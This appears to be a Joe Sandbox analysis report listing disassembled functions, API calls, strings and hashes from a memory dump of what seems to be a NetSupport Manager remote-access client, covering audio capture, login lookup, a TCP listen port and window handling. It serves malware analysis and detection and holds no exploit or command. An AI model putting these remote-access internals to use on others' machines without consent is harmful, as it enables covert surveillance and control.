Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountEventMessageSendTick$CloseHandleOpenTimeout__wcstoi64wsprintf
String ID: %s$DATA$Error. Runplugin is unresponsive$INIT$TracePlugins$Warning: SendMessage to Runplugin took %d ms (possibly unresponsive)$_debug$runplugin %s (hWnd=%x,u=%d,64=%d) $runplugin.dmp.1
API String ID: 3451743168-2289091950
Opcode ID: 7081efb8229b45fa1a91f50154a3e59ac40d63dc77862fc88f6c1544d8f2fef1
Instruction ID: f1114c107ee76d929ad16cd328bd8b6b93bc0bc6479e919ac6bcab8c7865c9c3
Opcode Fuzzy Hash: 7081efb8229b45fa1a91f50154a3e59ac40d63dc77862fc88f6c1544d8f2fef1
Instruction Fuzzy Hash: D441A675A012199FD724DFA5DC44FAEF7B8EF48319F0085AEE91AA7240D631A940CFB1

Function 1100B310 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 190fileCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

_malloc.LIBCMT ref: 1100B366

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

Part of subcall function 1100AC40: EnterCriticalSection.KERNEL32(000000FF,A1BC2D8B,?,00000000,00000000), ref: 1100AC84
Part of subcall function 1100AC40: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1100ACA2
Part of subcall function 1100AC40: GetProcAddress.KERNEL32(?,CancelIo), ref: 1100ACEE
Part of subcall function 1100AC40: InterlockedExchange.KERNEL32(?,000000FF), ref: 1100AD35
Part of subcall function 1100AC40: CloseHandle.KERNEL32(00000000), ref: 1100AD3C
Part of subcall function 1100AC40: _free.LIBCMT ref: 1100AD53
Part of subcall function 1100AC40: FreeLibrary.KERNEL32(?), ref: 1100AD6B
Part of subcall function 1100AC40: LeaveCriticalSection.KERNEL32(?), ref: 1100AD75

EnterCriticalSection.KERNEL32(1100CA5A,Audio,DisableSounds,00000000,00000000,A1BC2D8B,?,1100CA4A,00000000,?,1100CA4A,?), ref: 1100B39B
CreateFileA.KERNEL32(\\.\NSAudioFilter,C0000000,00000000,00000000,00000003,40000000,00000000,?,1100CA4A,?), ref: 1100B3B8
_calloc.LIBCMT ref: 1100B3E9
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,1100CA4A,?), ref: 1100B40F
LeaveCriticalSection.KERNEL32(1100CA5A,?,1100CA4A,?), ref: 1100B449
LeaveCriticalSection.KERNEL32(1100CA4A,?,?,1100CA4A,?), ref: 1100B46E

Strings

Vista new pAudioCap=%p, xrefs: 1100B4D3
\\.\NSAudioFilter, xrefs: 1100B3B0
Error. Vista AudioCapture GetInstance ret %s, xrefs: 1100B4C3
InitCaptureSounds NT6, xrefs: 1100B48E
Audio, xrefs: 1100B347
Vista AddAudioCapEvtListener(%p), xrefs: 1100B4F3
DisableSounds, xrefs: 1100B342
Error. Vista AddAudioCaptureEventListener ret %s, xrefs: 1100B51C

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CreateEnterLibrary$AddressAllocateCloseEventExchangeFileFreeHandleHeapInterlockedLoadProc__wcstoi64_calloc_free_malloc
String ID: Audio$DisableSounds$Error. Vista AudioCapture GetInstance ret %s$Error. Vista AddAudioCaptureEventListener ret %s$InitCaptureSounds NT6$Vista AddAudioCapEvtListener(%p)$Vista new pAudioCap=%p$\\.\NSAudioFilter
API String ID: 1843377891-2362500394
Opcode ID: f60393b41353c13c745924059a021ceb37060bf1a09b9967f753d73c688ee9b2
Instruction ID: 3f9b0c4355a442be161718b687c517c7c1a8a488e2b9041c50d9e3709ff29e90
Opcode Fuzzy Hash: f60393b41353c13c745924059a021ceb37060bf1a09b9967f753d73c688ee9b2
Instruction Fuzzy Hash: 8E51D9B5E0464AAFE704CF74DC80BAEF7A4FB04759F10467AE929A3240E7717550C7A1

Function 1102B1D0 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 220COMMON

Download Yara Rule

APIs

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

GetLastError.KERNEL32(?), ref: 1102B331
GetLastError.KERNEL32(?), ref: 1102B38E
_fgets.LIBCMT ref: 1102B3C0
_strtok.LIBCMT ref: 1102B3E8

Part of subcall function 11163016: __getptd.LIBCMT ref: 11163034

_fgets.LIBCMT ref: 1102B424
_strtok.LIBCMT ref: 1102B438

Strings

WARN: No TS lookup file specified!, xrefs: 1102B29D
WARN: clientname is empty!, xrefs: 1102B498
IsA(), xrefs: 1102B286, 1102B363
WARN: Could not open TS lookup file: "%s" (%d), user="%s", xrefs: 1102B3A1
LookupFileUser, xrefs: 1102B2FA
*LookupFile, xrefs: 1102B258
WARN: LoginUser failed (%d) user="%s", xrefs: 1102B338
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102B281, 1102B35E

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorLast$_fgets_strtok$ExitMessageProcess__getptdwsprintf
String ID: *LookupFile$IsA()$LookupFileUser$WARN: Could not open TS lookup file: "%s" (%d), user="%s"$WARN: LoginUser failed (%d) user="%s"$WARN: No TS lookup file specified!$WARN: clientname is empty!$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 78526175-1484737611
Opcode ID: ff60ef9c488c2c79b08b3262712ada230bbec0adfdbeaabbc1cb1cc15ddf1ff7
Instruction ID: 83a04ffa2f5f23a923324f4189043cfd8b751997b231b4d3af7dc0cd534076c2
Opcode Fuzzy Hash: ff60ef9c488c2c79b08b3262712ada230bbec0adfdbeaabbc1cb1cc15ddf1ff7
Instruction Fuzzy Hash: 2E81B675D00A1E9BDB10DBA4CC80FEEB7B9AF44309F4440D8E919A7245EA75AB84CF91

Function 11031160 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 245sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,A1BC2D8B,00000000,00000000,00000000), ref: 1103119A

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

EnumWindows.USER32(110301B0,00000001), ref: 11031272
EnumWindows.USER32(110301B0,00000000), ref: 110312CC
Sleep.KERNEL32(00000014,?,?,?,?,?,00000000), ref: 110312DC
Sleep.KERNEL32(?,?,?,?,?,?,00000000), ref: 11031313

Part of subcall function 11027E50: _memset.LIBCMT ref: 11027E85
Part of subcall function 11027E50: wsprintfA.USER32 ref: 11027EBA
Part of subcall function 11027E50: WaitForSingleObject.KERNEL32(?,000000FF), ref: 11027EFF
Part of subcall function 11027E50: GetExitCodeProcess.KERNEL32(?,?), ref: 11027F13
Part of subcall function 11027E50: CloseHandle.KERNEL32(?,00000000), ref: 11027F45
Part of subcall function 11027E50: CloseHandle.KERNEL32(?), ref: 11027F4E

Sleep.KERNEL32(0000000A,?,?,?,?,?,00000000), ref: 1103132B
SendMessageA.USER32(?,00000010,00000000,00000000), ref: 110313E7

Strings

close new explorer wnd x%x, xrefs: 110313AF
Client, xrefs: 110311B7
No new explorer wnd, xrefs: 110312F3
"%sNSMExec.exe" %s, xrefs: 11031285
\Explorer.exe, xrefs: 110311DA
*ExitMetroDelay, xrefs: 110311B2

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: SleepWindows$CloseEnumHandle$CodeDirectoryExitMessageObjectProcessSendSingleWait__wcstoi64_memsetwsprintf
String ID: "%sNSMExec.exe" %s$*ExitMetroDelay$Client$No new explorer wnd$\Explorer.exe$close new explorer wnd x%x
API String ID: 3887438110-1852639040
Opcode ID: dd4de2a7fc9d8cd5af608a89b0c8565785138ad2200bde7dfaaacefb5c936fd0
Instruction ID: 68f8b224c7beedd47666692ff363fa6bc3684c9dbb57027410f782db2506f70a
Opcode Fuzzy Hash: dd4de2a7fc9d8cd5af608a89b0c8565785138ad2200bde7dfaaacefb5c936fd0
Instruction Fuzzy Hash: 3391D0B5E002299FDB14CF64DC80BEEF7F5AF89308F1441A9D9599B640EB30AE45CB91

Function 1102310A Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 363windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1115ADD0: IsIconic.USER32(?), ref: 1115AE77
Part of subcall function 1115ADD0: ShowWindow.USER32(?,00000009), ref: 1115AE87
Part of subcall function 1115ADD0: BringWindowToTop.USER32(?), ref: 1115AE91

CheckMenuItem.USER32(00000000,000013EB,-00000009), ref: 1102324D
ShowWindow.USER32(?,00000003), ref: 110232D1
LoadMenuA.USER32(00000000,000013A3), ref: 110233FB
GetSubMenu.USER32(00000000,00000000), ref: 11023409
CheckMenuItem.USER32(00000000,000013EB,?), ref: 11023429
GetDlgItem.USER32(?,000013B2), ref: 1102343C
GetWindowRect.USER32(00000000), ref: 11023443
PostMessageA.USER32(?,00000111,?,00000000), ref: 11023499
DestroyMenu.USER32(?,?,00000000,00000000,00000102,?,?,?,00000000), ref: 110234A3

Strings

Chat, xrefs: 110233B0
AddToJournal, xrefs: 110233AB

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Menu$Window$Item$CheckShow$BringDestroyIconicLoadMessagePostRect
String ID: AddToJournal$Chat
API String ID: 693070851-2976406578
Opcode ID: d2fe2766ddb3d34030bb972f012e30f748b4f8edd59272365cd546290ab4e6ab
Instruction ID: 337dba7d0f02a97e7c7211def3ec221287211942730252afe18814347e7ecccc
Opcode Fuzzy Hash: d2fe2766ddb3d34030bb972f012e30f748b4f8edd59272365cd546290ab4e6ab
Instruction Fuzzy Hash: 87A1F178B04616ABDB09DF74CC85FAEB3E5AB88704F504519EA26DF2C0CF74B9408B65

Function 11105340 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 84fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1110534D
EnterCriticalSection.KERNEL32(111F060C,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 11105356
GetTickCount.KERNEL32 ref: 1110535C
GetTickCount.KERNEL32 ref: 1110538E
LeaveCriticalSection.KERNEL32(111F060C,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 11105397
EnterCriticalSection.KERNEL32(?,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 111053B8
WriteFile.KERNEL32(00000000,1118C583,?,?,00000000,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF), ref: 111053D0
LeaveCriticalSection.KERNEL32(?,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 111053DD
GetTickCount.KERNEL32 ref: 111053EC
LeaveCriticalSection.KERNEL32(111F060C,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 111053F5

Strings

Warning. simap lock held for %d ms, xrefs: 111053A7, 11105405
Warning. took %d ms to get simap lock, xrefs: 11105368

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$FileWrite
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 831250470-625438208
Opcode ID: 7549535bd9f32612e90d0c37b89a6aa1a9d576740b26f55eee6ebfb36c9c683f
Instruction ID: 510883743b079e8f18b7a04972f4ca77f6f871929db96d85a9feff413df15827
Opcode Fuzzy Hash: 7549535bd9f32612e90d0c37b89a6aa1a9d576740b26f55eee6ebfb36c9c683f
Instruction Fuzzy Hash: F521F37AE10228ABDB009F759CC89AEFBADEB8972DB551075FC15CB204D6609C04CBA0

Function 11137340 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,74DF0BD0,00000000), ref: 11137363
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 11137384
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 11137394
GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 111373B1
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoA), ref: 111373BD
_memset.LIBCMT ref: 111373D7

Strings

VerifyVersionInfoA, xrefs: 111373B7
Terminal Server, xrefs: 11137401
KERNEL32.DLL, xrefs: 111373A8
VerSetConditionMask, xrefs: 1113738E
ntdll.dll, xrefs: 1113737F

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$Version_memset
String ID: KERNEL32.DLL$Terminal Server$VerSetConditionMask$VerifyVersionInfoA$ntdll.dll
API String ID: 1659045089-3162170060
Opcode ID: 2782e45080b00d7644363843fb4dac8f82773bfcd6b8b8724ba95a014df5fc97
Instruction ID: 0c0b10a14524f440857339b23279ac9494b8b75ce88d62c7832b422cfd240681
Opcode Fuzzy Hash: 2782e45080b00d7644363843fb4dac8f82773bfcd6b8b8724ba95a014df5fc97
Instruction Fuzzy Hash: CB216A70F10329ABF720AB71AD44F5AFFA99B8871AF000474E914A7189EA71B9048765

Function 110390F0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 1103910C
IsWindowEnabled.USER32(00000000), ref: 11039113
_memset.LIBCMT ref: 11039131
GetDlgItemTextA.USER32(?,0000044D,?,00000080), ref: 11039183
GetDlgItemTextA.USER32(?,0000044F,00000000,00000080), ref: 110391EB
GetDlgItemTextA.USER32(?,000004BE,00000000,00000080), ref: 1103924E
GetDlgItemTextA.USER32(?,000017EC,00000000,00000080), ref: 110392B1
GetDlgItemTextA.USER32(?,0000048E,00000000,00000080), ref: 11039377
GetDlgItemTextA.USER32(?,0000048D,00000000,00000080), ref: 11039314

Part of subcall function 11142800: _strncpy.LIBCMT ref: 11142824

Part of subcall function 11142290: _strncpy.LIBCMT ref: 111422D2

Strings

, xrefs: 110393B1

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Item$Text$_strncpy$EnabledWindow_memset
String ID:
API String ID: 3085755443-3916222277
Opcode ID: 3474633675772f1dfa7fa715227e202affa5940b04f40e4fcdf8bfab1e55feb6
Instruction ID: 27c08bceae7d385fa57d2e1d5dbc2d5db1b5a631922e4fecc43e69d3347e8bff
Opcode Fuzzy Hash: 3474633675772f1dfa7fa715227e202affa5940b04f40e4fcdf8bfab1e55feb6
Instruction Fuzzy Hash: 6D819F75A10706ABE724DB74CC85F9AB3F9BF84704F50C598E2499B181DF71FA448BA0

Function 1106F060 Relevance: 16.8, APIs: 3, Strings: 8, Instructions: 297COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1106F397
EnterCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 1106F3E8
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?), ref: 1106F408

Strings

NameResp from %s(%s), len=%d/%d, flags=%d, channel=%s, xrefs: 1106F200
%s:%d, xrefs: 1106F391
(null), xrefs: 1106F1DE, 1106F1F0
Port, xrefs: 1106F353
ListenPort, xrefs: 1106F370
tracerecv, xrefs: 1106F1C5
UseNCS, xrefs: 1106F2F2
TCPIP, xrefs: 1106F1CA, 1106F2F7, 1106F358, 1106F375

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavewsprintf
String ID: %s:%d$(null)$ListenPort$NameResp from %s(%s), len=%d/%d, flags=%d, channel=%s$Port$TCPIP$UseNCS$tracerecv
API String ID: 3005300677-3496508882
Opcode ID: 813a8df51b421849a73fb34c3018abb507ddb1008c2509d1f87bc1f88576a655
Instruction ID: 2680b2d19a9bdf8eb0956d8c99ae1cac6e929f7b4449284ea49473897193c40b
Opcode Fuzzy Hash: 813a8df51b421849a73fb34c3018abb507ddb1008c2509d1f87bc1f88576a655
Instruction Fuzzy Hash: 9EB1A375E0022A9FDB14DF65CC50FAAB7B9AF49708F4041DCE909A7241EB71A981CF62

Function 11047160 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 330windowtimeCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 11047211
_malloc.LIBCMT ref: 110472AD
_memmove.LIBCMT ref: 11047312
SendMessageTimeoutA.USER32(?,0000004A,00030496,00000005,00000002,00002710,?), ref: 11047372
_free.LIBCMT ref: 11047379

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 11043870: _free.LIBCMT ref: 11043907
Part of subcall function 11043870: _free.LIBCMT ref: 11043927
Part of subcall function 11043870: _strncpy.LIBCMT ref: 11043955
Part of subcall function 11043870: _strncpy.LIBCMT ref: 11043992
